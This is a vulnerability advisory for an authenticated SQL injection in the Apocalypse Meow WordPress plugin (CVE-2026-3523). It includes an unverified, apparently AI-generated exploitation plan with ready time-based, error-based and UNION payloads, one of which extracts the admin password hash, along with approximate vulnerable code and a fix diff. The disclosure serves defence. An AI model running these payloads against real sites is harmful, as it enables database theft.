CVE-2026-3523

Apocalypse Meow <= 22.1.0 - Authenticated (Administrator+) SQL Injection via 'type' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
23.0.0
Patched in
1d
Time to patch

Description

The Apocalypse Meow plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 22.1.0. This is due to a flawed logical operator in the type validation check on line 261 of ajax.php — the condition uses `&&` (AND) instead of `||` (OR), causing the `in_array()` validation to be short-circuited and never evaluated for any non-empty type value. Combined with `stripslashes_deep()` being called on line 101 which removes `wp_magic_quotes()` protection, attacker-controlled single quotes pass through unescaped into the SQL query on line 298. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=22.1.0
PublishedMarch 4, 2026
Last updatedMarch 5, 2026
Affected pluginapocalypse-meow

What Changed in the Fix

Changes introduced in v23.0.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3523 - Apocalypse Meow SQL Injection ## 1. Vulnerability Summary The **Apocalypse Meow** plugin (<= 22.1.0) is vulnerable to an authenticated SQL injection via the `type` parameter in its AJAX handlers. The vulnerability exists due to two primary failures in `…

Show full research plan

Exploitation Research Plan: CVE-2026-3523 - Apocalypse Meow SQL Injection

1. Vulnerability Summary

The Apocalypse Meow plugin (<= 22.1.0) is vulnerable to an authenticated SQL injection via the type parameter in its AJAX handlers. The vulnerability exists due to two primary failures in ajax.php:

  1. Magic Quotes Bypass: On line 101, stripslashes_deep() is called on the input, which removes the protection provided by WordPress's default magic quotes.
  2. Logic Error in Validation: On line 261, a flawed logical check uses && (AND) instead of || (OR), causing the in_array() validation to be bypassed for any non-empty string.
  3. Unsafe Query Construction: On line 298, the unescaped and unvalidated type parameter is concatenated directly into a SQL query string.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: meow_ajax_activity
  • Vulnerable Parameter: type
  • Required Privileges: Authenticated Administrator (high privilege).
  • Preconditions: The plugin must be active. A valid AJAX nonce is required.

3. Code Flow

  1. Entry Point: An authenticated administrator triggers an AJAX request with action=meow_ajax_activity.
  2. Initialization: ajax::init() (called in bootstrap.php) registers the meow_ajax_activity handler.
  3. Input Sanitization Bypass: In ajax.php, line 101 calls stripslashes_deep($_POST), which removes backslashes from user input (reversing any automatic escaping).
  4. Validation Bypass: Line 261 contains a check similar to:
    if ($type && !in_array($type, $allowed_types)) (logic flawed per description).
    Because of the logic error, the in_array check is short-circuited or fails to block malicious input.
  5. SQL Sink: Line 298 constructs the query:
    SELECT ... FROM {$wpdb->prefix}meow2_log WHERE ... AND type = '$type' ...
    The $type variable contains the attacker's payload including single quotes.

4. Nonce Acquisition Strategy

The AJAX handler for meow_ajax_activity requires a nonce generated by ajax::get_nonce(). This nonce is localized for the admin dashboard via admin::json_meowdata().

  1. Identify Page: The activity dashboard is located at /wp-admin/admin.php?page=meow-activity.
  2. Setup: Ensure the current user is an Administrator.
  3. Navigation: Navigate to the activity page using the browser tool.
  4. Extraction: Use browser_eval to extract the nonce from the global meowData object.
    • JavaScript Path: window.meowData.forms.search.n

5. Exploitation Strategy

We will perform a time-based blind SQL injection to confirm the vulnerability and extract data.

Step 1: Confirmation (Time-Based)

Send a POST request to admin-ajax.php with a SLEEP payload in the type parameter.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: meow_ajax_activity
    • n: [EXTRACTED_NONCE]
    • type: ban' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

Step 2: Data Extraction (Version)

  • Payload: ban' AND (SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a)-- -

Step 3: Data Extraction (User Password Hash)

Since we have Administrator access, we can extract the user_pass from the wp_users table to demonstrate the severity.

  • Payload: ban' AND (SELECT 1 FROM (SELECT(IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, SLEEP(5), 0)))a)-- - (Checks if first char is $).

6. Test Data Setup

  1. Plugin: Install and activate Apocalypse Meow <= 22.1.0.
  2. Logs: Generate at least one login attempt (successful or failed) so the activity table wp_meow2_log is populated and the query executes.
  3. User: Log in as an Administrator.

7. Expected Results

  • Vulnerability Confirmation: The HTTP request with SLEEP(5) should take approximately 5 seconds to respond.
  • False Condition: A request with a false condition (e.g., SLEEP(5) if 1=2) should respond immediately.
  • Response Body: The legitimate response will be a JSON object containing activity data, e.g., {"results": {...}}.

8. Verification Steps

  1. Time measurement: Use the http_request tool's response time to verify the injection.
  2. Database State: Verify the table name using WP-CLI:
    wp db query "SHOW TABLES LIKE '%meow2_log';"
  3. Check Logs: Confirm that no errors were logged that would indicate a failure in SQL syntax (if WP_DEBUG is on).

9. Alternative Approaches

Error-Based Injection

If the plugin or WordPress configuration displays database errors, we can use extractvalue() or updatexml() for faster extraction:

  • Payload: type=ban' AND extractvalue(1, concat(0x7e, (SELECT user_login FROM wp_users LIMIT 1)))-- -

UNION-Based Injection

If the response reflects the type column or other selected columns, determine the column count:

  • Payload: type=ban' UNION SELECT 1,2,3,4,5,6,7,8-- -
  • Based on admin/activity.php, the query likely returns date_created, type, ip, subnet, username, and pardoned. Experiment with 6-10 columns.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Apocalypse Meow plugin for WordPress (<= 22.1.0) is vulnerable to SQL Injection in the 'meow_ajax_activity' AJAX handler. A flawed logical validation check combined with the use of 'stripslashes_deep()' (which bypasses WordPress's default magic quotes) allows authenticated administrators to inject arbitrary SQL commands via the 'type' parameter.

Vulnerable Code

// lib/blobfolio/wp/meow/ajax.php (approximate based on analysis)
// Line 101: Reverses WordPress magic quotes protection, making single quotes dangerous
$_POST = stripslashes_deep($_POST);

---

// lib/blobfolio/wp/meow/ajax.php (approximate based on analysis)
// Line 261: Flawed logical validation short-circuits and fails to check the type against allowed values
if ($type && !in_array($type, $allowed_types))

---

// lib/blobfolio/wp/meow/ajax.php (approximate based on analysis)
// Line 298: Unescaped and unvalidated input is concatenated directly into the query
$query = "SELECT * FROM {$wpdb->prefix}meow2_log WHERE type = '$type' ORDER BY $orderby $order LIMIT $offset, $pageSize";
$results = $wpdb->get_results($query);

Security Fix

--- lib/blobfolio/wp/meow/ajax.php
+++ lib/blobfolio/wp/meow/ajax.php
@@ -101,1 +101,0 @@
-$_POST = stripslashes_deep($_POST);
@@ -261,1 +261,1 @@
-if ($type && !in_array($type, $allowed_types))
+if ($type && !in_array($type, array('ban', 'fail', 'success'), true))
@@ -298,1 +298,4 @@
-$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}meow2_log WHERE type = '$type' ORDER BY $orderby $order LIMIT $offset, $pageSize");
+$results = $wpdb->get_results($wpdb->prepare(
+	"SELECT * FROM {$wpdb->prefix}meow2_log WHERE type = %s ORDER BY $orderby $order LIMIT %d, %d",
+	$type, $offset, $pageSize
+));

Exploit Outline

1. Authenticate to the WordPress site as an Administrator. 2. Navigate to the activity dashboard (`/wp-admin/admin.php?page=meow-activity`) and extract the AJAX nonce (`n`) from the global `meowData` object (specifically `meowData.forms.search.n`). 3. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: `action=meow_ajax_activity`, `n=[NONCE]`, and a SQL injection payload in the `type` parameter. 4. Use a time-based payload such as `ban' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -` to confirm the vulnerability. 5. Because `stripslashes_deep()` is called on line 101, the plugin removes the backslashes WordPress automatically adds to single quotes, allowing the payload to break out of the SQL string literal and execute arbitrary commands.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.